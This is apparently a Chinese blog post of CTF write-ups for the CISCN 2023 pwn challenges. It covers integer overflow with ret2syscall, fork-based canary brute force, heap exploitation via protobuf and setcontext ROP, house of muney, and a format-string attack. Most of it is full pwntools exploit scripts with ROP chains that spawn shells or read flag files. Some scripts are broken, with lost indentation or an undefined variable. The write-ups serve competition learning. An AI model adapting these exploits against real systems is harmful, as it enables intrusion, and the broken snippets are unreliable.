ciscn_2023

发布时间 2023-07-11 14:51:09作者: 何思泊河

线上

烧烤摊儿

漏洞有两个

1、整数溢出

2、溢出

在啤酒函数和烤串中都有整数溢出

只要输入一个足够大的负数

image-20230527171931900

就可以进入vip函数,将own赋值为1

image-20230527172240479

然后进入gaiming函数,因为scanf的函数的参数是%s所以存在栈溢出

在经过j_strcpy_ifunc函数后向bss段赋值一段数据

image-20230527172350609

看到这就知道了解题思路就是先整数溢出,在利用溢出打一个ret2syscall

from tools import*

p=remote('123.56.251.120',41152)
def pijiu(index,num):
    p.sendlineafter('> ',str(1))
    p.sendlineafter('3. 勇闯天涯',str(index))
    p.sendlineafter('来几瓶?',str(num))   #10
def kaochuan():
    p.sendlineafter('> ',str(2))
    p.sendlineafter('3. 鸡肉串',str(index))
    p.sendlineafter('来几串?',str(num))   #5
def chengbao():
    p.sendlineafter('> ',str(4))
def name(content):
     p.sendlineafter('> ',str(5))
     p.sendlineafter('烧烤摊儿已归你所有,请赐名:\n',content)
# debug(p,0x401F8D)
pijiu(1,-50000)
chengbao()
syscall=0x0000000000402404
pop_rdi=0x000000000040264f
pop_rsi=0x000000000040a67e
pop_rax=0x0000000000458827
pop_rdx_r12=0x00000000004a404b
payload=b'/bin/sh\x00'+p64(0x3b)+b'a'*(40-8-8)+p64(pop_rdi)+p64(0x4E60F0)+p64(pop_rsi)+p64(0)+p64(pop_rdx_r12)+p64(0)*2+p64(pop_rax)+p64(0x3b)
payload+=p64(syscall)

name(payload)
p.interactive()

    

funcanary

保护全开

image-20230528155845744

漏洞就是利用fock进行爆破canary

image-20230528160221906

有后门因该是加了一点花

image-20230528160258511

不得不说是一个模板题上网找个例题改改就行,和网上找到的例题不同的就是这个开了pie所以还需要爆破一下地址概率是1/16

exp

from pwn import *
p=remote("123.56.99.60",32688)
context.log_level='debug'
canary='\x00'
for j in range(7):
    for i in range(0xff):
        p.sendafter("welcome\n",'a'*0x68+canary+chr(i))
        a=p.recvline()
        if b"***" not in a:
            canary+=chr(i)
            break

for i in range(0xf):
    flag=0x0231 +i*0x1000
    p.sendafter("welcome\n",b'b'*0x68+canary+p64(0)+p16(flag))

p.interactive()
from tools import *
context.log_level='debug'
p,e,libc=load('pwn')

def add(size,content):
    p.sendlineafter('choice:',str(1))
    p.sendlineafter('Size:',str(size))
    p.sendlineafter('Data:',content)
def delete(index):
    p.sendlineafter('choice:',str(2))
    p.sendlineafter('Index:',str(index))
add_p=0xB75 
delete_p=0xCE7
add(0x4f8,"0")  #0 
add(0x1f8,"1")  #1 
add(0x4f8,"2")  #2 
add(0x20,"/bin/sh\x00")   #3 
delete(0)

delete(1)
add(0x1f8,b"a"*0x1f0+p64(0x200+0x500))
delete(2)
add(0x1f8,"1")
add(0x1f8,"1")

delete(1)
delete(0)
add(0xf0,b'trunk')
add(0xf8,p16(0xe760))
add(0x1f8,b'trunk')

add(0x1f8,p64(0xfbad1800)+p64(0)*3+b"\x58")
libc_base=recv_libc()-0x3e82a0
log_addr('libc_base')
system=libc_base+0x4f420

add(0x28,'trunk')
delete(6)

p.interactive()


StrangeTalkBot

没有做出来,赛后复现一下

当时没做出来主要是没有见过这个类型的

protobuf安装

自己编译的总是出问题,然后看了一下zikh26的文章,发现是利用编译好的

其他就没啥了

exp

from tools import *
import ctf_pb2
context.log_level='debug'
p,e,libc=load("pwn")
#这里的 parse_member 就是我们前面ctf.proto文件中的 message结构体名字
protobuf = ctf_pb2.parse_member()
def add(idx, size, content):
#赋值 protobuf 序列化结构体变量
protobuf.actionid = 1
protobuf.msgidx = idx
protobuf.msgsize = size
protobuf.msgcontent = content
#序列化 转string发送
p.sendafter(b'now: \n', protobuf.SerializeToString())
def edit(idx, size, content):
protobuf.actionid = 2
protobuf.msgidx = idx
protobuf.msgsize = size
protobuf.msgcontent = content
p.sendafter(b'now: \n', protobuf.SerializeToString())
def show(idx):
protobuf.actionid = 3
protobuf.msgidx = idx
protobuf.msgsize = 0
protobuf.msgcontent = b'\x00'
p.sendafter(b'now: \n', protobuf.SerializeToString())
def delete(idx):
protobuf.actionid = 4
protobuf.msgidx = idx
protobuf.msgsize = 0
protobuf.msgcontent = b'\x00'
p.sendafter(b'now: \n', protobuf.SerializeToString())
for i in range(9):
add(i,0x90,b'a'*0x10)
for i in range(8):
delete(i)
show(7)
p.recv(56)
heap_addr=u64(p.recv(6).ljust(8,b'\x00'))
log_addr("heap_addr")
libc_base=recv_libc()-0x1ecb00
log_addr('libc_base')
io_list_all=libc_base+libc.symbols['_IO_list_all']
log_addr("io_list_all")
free_hook=libc_base+libc.symbols["__free_hook"]
edit(6,0x10,p64(free_hook))
add(9,0x90,b"c"*0x10)
magic_gadget=libc_base+0x151990
setcontext_addr=libc_base+0x54F5D
payload=p64(heap_addr-0x5e0)#rsp
payload+=p64(heap_addr-0x20+0x620-0x20)#rdx
payload+=p64(setcontext_addr)
payload+=p64(2)
payload+=p64(3)
payload+=p64(4)
payload+=p64(5)
payload+=p64(6)
payload+=p64(7)
payload+=p64(8)
payload+=p64(9)
payload+=p64(0)#rdi
payload+=p64(heap_addr-0x5e0)#rsi
payload+=p64(12)
payload+=p64(13)
payload+=p64(0x100)#rdx
payload+=p64(0xdead)
payload+=p64(5555)
payload+=p64(heap_addr-0x5e0)#rsp
payload+=p64(libc_base+libc.symbols["read"])
add(11,0xf0,payload)
debug(p,'pie',0x14f2,0x161C,0x1542)
add(10,0x90,p64(magic_gadget))# write address of fake_data to
__free_hook
delete(11)
pop_rdi_ret=libc_base+0x0000000000023b6a
pop_rsi_ret=libc_base+0x000000000002601f
pop_rdx_ret=libc_base+0x0000000000142c92
#open
rop=p64(pop_rdi_ret)
rop+=p64(heap_addr-0x548)# 'flag' address
rop+=p64(pop_rsi_ret)
rop+=p64(0)
rop+=p64(libc_base+libc.symbols["open"])
#read
rop+=p64(pop_rdi_ret)
rop+=p64(3)
rop+=p64(pop_rsi_ret)
rop+=p64(heap_addr)# flag store address
rop+=p64(pop_rdx_ret)
rop+=p64(0x50)
rop+=p64(libc_base+libc.symbols["read"])
#write
rop+=p64(pop_rdi_ret)
rop+=p64(1)
rop+=p64(pop_rsi_ret)
rop+=p64(heap_addr)# flag store address
rop+=p64(pop_rdx_ret)
rop+=p64(0x50)
rop+=p64(libc_base+libc.symbols["write"])
rop+=b"flag"
pause()
p.send(rop)
p.interactive()

线下

这次比赛挺难的,第一天就放了2个pwn,就一个有解是一解,通过这次比赛发现了现在的pwn的发现趋势是能够分析整个程序的流程,也就是代码审计能力,不会单一考察漏洞的利用

muney

是一个web和pwn的结合,就是分析一个输入格式和house of muney

那个输入格式其实就是一个web中http请求头,其实让web手抓以下就行,以下就是一个http请求头,简单分析一下就行,这里就不再仔细分析。

GET /html/E9EU0K6T3G12.html HTTP/1.1
Host: www.python100.com
Cookie: Hm_lvt_a49778e5b135106a4771f91c0fd2dabc=1688107538; Hm_lpvt_a49778e5b135106a4771f91c0fd2dabc=1688107538
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://www.baidu.com/link?url=6A1GvcS74nm_hxSop7GGWdKN6riKfUw_TgMs62-_cRXrMS9DKotGczTJELhkfWNY8gtmGtaqP5pzuWpe_d0U0q&wd=&eqid=87210b4c0008795800000002649e7a0c
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
If-Modified-Since: Wed, 14 Jun 2023 16:24:53 GMT
If-None-Match: W/"6489e9d5-33e0"
Te: trailers
Connection: close

另一个就是house of muney,之前没有学过,其实就是ret2_dl_runtime_resolve的加强本

这道题的漏洞就是在edit中的idx可以为负数,并且可以申请size非常大的chunk

需要绕过的检查

1、sym->st_value 是否为零 (这需要我们将exit的sym->st_value换成system的sym->st_value)

2、strcmp (strtab + sym->st_name, undef_name) 这里我们需要伪造sym->st_name,让strtab + sym->st_name是exit字符串的地址

3、就是st_name的+4处的值是固定的

image-20230702144507580

其他的都是固定的bucket,bitmask_word,hasharr

exp

from tools import*
p,e,libc=load('muney')
context.log_level='debug'
add_p=0x401FFF   
delete_p=0x402195
edit_p=0x401EB4 
exit_p=0x4021EE
def add(size,len):
    date="""POST /create HTTP/1.0
Host :www.python100.com
Connection: Close 
Accept-Encoding: gzip
Size:"""+str(size)+"""
Content-Length:"""+str(len)+"""\n\naaaaaaa"""

    return date
def delete(index,len):
    date="""POST /delete HTTP/1.0
Host :www.python100.com
Connection: Close 
Accept-Encoding: gzip
Idx:"""+str(size)+"""
Content-Length:"""+str(len)+"""\n\naaaaaaa"""
    return date

def edit(index,offset,len,content):
    date=b"""POST /edit HTTP/1.0
Host :www.python100.com
Connection: Close 
Accept-Encoding: gzip
Idx:"""+str(size).encode()+b"""
Offset:"""+str(offset).encode()+b"""
Content-Length:"""+str(len).encode()+b"""\n\n"""+content
    return date
def quit(size,len):
    date="""POST /quit HTTP/1.0
Host :www.python100.com
Connection: Close 
Accept-Encoding: gzip
Size:"""+str(size)+"""
Content-Length:"""+str(len)+"""\n\naaaaaaa"""
    return date

debug(p,exit_p) 
p.sendafter('HTTP_Parser> ',add(0x150000,7))

p.sendafter('HTTP_Parser> ',edit(0,-8,3,b'\x02\x10\x17'))
p.sendafter('HTTP_Parser> ',delete(0,7))
p.sendafter('HTTP_Parser> ',add(0x171002,7))

#exit:sym->st_value=0x046a40 offset =0x156d10   
#system:sym->st_value=0x052290
#bitmask_work offset = 0x152b78           value=0xf010028c0201130e             
#bucket offset =  0x152ca0                value=0x86
#hasharr offset = 0x153d6c                value=0x7c967e3e7c967e3f

p.sendafter('HTTP_Parser> ',edit(0,0x156d00-8,3,b'\x90\x22\x05'))
p.sendafter("HTTP_Parser> ",edit(0,0x156d00-8-0x8,3,b"\xe5\x67\x1a"))#write data to exit@st_name
p.sendafter("HTTP_Parser> ",edit(0,0x156d00-8-0x8+4,1,b"\x12"))#write data to exit@st_name
p.sendafter("HTTP_Parser> ",edit(0,0x156d00-8-0x8+6,1,b"\xf0"))#write data to exit@st_name

p.sendafter('HTTP_Parser> ',edit(0,0x152b78,8,p64(0xf010028c0201130e)))
p.sendafter('HTTP_Parser> ',edit(0,0x152ca0,1,p8(0x86)))
p.sendafter('HTTP_Parser> ',edit(0,0x153d6c,8,p64(0x7c967e3e7c967e3f)))

p.sendafter('HTTP_Parser> ',quit(0x150000,7))   
p.interactive()

#b *($libc+0x1f3885)           0x214885

awd

漏洞就是格式化字符串,就是难在整个程序的的分析

from tools import*
context.log_level='debug'
p,e,libc=load('pwnbak')
rm_p=0x1B20 
echo_p=0x1E11

p.sendlineafter('mybash:/$','echo %11$p aaaaaaaa')

libc_base=int(p.recvuntil('aaaaaaaa')[5:-8].ljust(8,b'\x00'),16)-0x9e975
log_addr('libc_base')
one_gadget=libc_base+0x10a2fc
p.sendlineafter('mybash:/$','echo %16$p aaaaaaaa')
stack=int(p.recvuntil('aaaaaaaa')[5:-8].ljust(8,b'\x00'),16)-0x28+0x60
log_addr('stack')

p.sendlineafter('mybash:/$',b"echo %"+str((stack&0xffff)).encode()+b"c%31$hn" +b"  aaaaaaaa")
p.sendlineafter('mybash:/$',b"echo %"+str((one_gadget&0xffff)).encode()+b"c%57$hn" +b"  aaaaaaaa")
p.sendlineafter('mybash:/$',b"echo %"+str((stack&0xffff)+2).encode()+b"c%31$hn" +b"  aaaaaaaa")
debug(p,'pie',0x1ED5,0x2817 )
p.sendlineafter('mybash:/$',b"echo %"+str(((one_gadget>>16)&0xffff)).encode()+b"c%57$hn" +b"  aaaaaaaa")
p.sendlineafter('mybash:/$','ls')
p.interactive()

线下赛题目链接

链接:https://pan.baidu.com/s/1QkGouIUltZlDiEznpYPa9w?pwd=5bde
提取码:5bde